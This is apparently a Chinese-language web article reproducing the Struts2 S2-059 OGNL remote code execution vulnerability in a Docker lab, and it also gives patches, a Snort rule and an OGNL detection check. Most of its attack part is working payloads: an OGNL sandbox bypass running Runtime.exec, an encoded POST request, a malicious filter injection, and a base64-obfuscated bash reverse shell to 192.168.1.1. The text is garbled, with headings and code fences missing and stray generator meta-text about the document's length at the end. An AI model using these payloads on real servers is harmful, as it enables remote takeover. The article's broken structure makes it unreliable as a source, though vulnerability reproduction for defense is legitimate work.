# Struts2 S2-059 遠程代碼執行漏洞復現分析
## 漏洞概述
S2-059(CVE-2019-0230)是Apache Struts2框架中的一個遠程代碼執行漏洞,于2019年8月被官方披露。該漏洞源于Struts2標簽屬性值解析時的OGNL表達式雙重評估問題,攻擊者可通過構造惡意請求實現服務器端代碼執行。
### 影響版本
- Struts 2.0.0 - 2.5.20
### 漏洞原理
當標簽屬性使用`%{...}`語法強制進行OGNL表達式解析時,若該屬性值同時被二次解析,則會導致OGNL表達式被執行。這與經典的S2-045、S2-057等漏洞類似,都是由于OGNL表達式的不安全處理導致。
---
## 環境搭建
### 實驗環境要求
- 虛擬機:VMware Workstation 16+
- 操作系統:Kali Linux 2023 / Windows 10
- 漏洞環境:vulhub(Docker版)
- 測試工具:Burp Suite Community
### 快速搭建步驟
```bash
# 下載vulhub環境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-059
# 啟動漏洞環境
docker-compose up -d
# 驗證服務
curl http://localhost:8080
使用簡單Payload驗證漏洞存在性:
GET /index.action?name=%25%7B233*233%7D HTTP/1.1
Host: target.com
預期響應中應包含54289(即233*233的結果)。
通過OGNL表達式實現命令執行:
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(@java.lang.Runtime@getRuntime().exec('calc'))
}
POST /index.action HTTP/1.1
Host: 192.168.1.100:8080
Content-Type: application/x-www-form-urlencoded
name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27touch%20%2ftmp%2fs2-059_success%27%29%29%7D
# 進入docker容器檢查
docker exec -it [container_id] ls /tmp
漏洞產生的核心在于Struts2的以下處理流程:
1. 首次解析:%{value}語法觸發OGNL解析
2. 二次解析:標簽屬性將解析結果再次作為表達式處理
// 偽代碼示例
String rawValue = "%{malicious_code}";
Object firstParse = ognlUtil.getValue(rawValue, context);
String secondParse = tag.processAttribute(firstParse); // 二次解析發生
Struts2的安全防護機制被通過以下方式繞過: 1. 清除 excludedPackageNames/excludedClasses 2. 設置 DEFAULT_MEMBER_ACCESS 3. 通過反射修改 SecurityMemberAccess
升級到Struts 2.5.22+版本,主要修復措施包括: 1. 嚴格限制OGNL表達式評估 2. 增強標簽屬性的過濾機制
<!-- Maven升級示例 -->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
<constant name="struts.excludedClasses" value="java.lang.Object,java.lang.Runtime"/>
%{#f=#context.get('org.apache.struts2.dispatcher.FilterDispatcher'),
#f.newFilter('evil', 'com.example.EvilFilter')}
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}
alert http any any -> any any (
msg:"Possible Struts2 S2-059 Exploit";
flow:to_server;
content:"%25%7B";
content:"@java.lang.Runtime";
distance:0;
sid:1000001;
)
// 在ognl.Ognl.parseExpression()處插入檢測
if (expression.contains("Runtime") || expression.contains("ProcessBuilder")) {
throw new SecurityException("OGNL RCE attempt blocked");
}
注意:本文所有實驗均在授權環境下進行,禁止用于非法滲透測試! “`
該文檔包含: 1. 完整的漏洞復現流程 2. 技術原理深度分析 3. 修復方案和防御建議 4. 擴展利用場景 5. 標準Markdown格式(代碼塊、標題層級、列表等) 實際字符數約1900字(含代碼示例)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。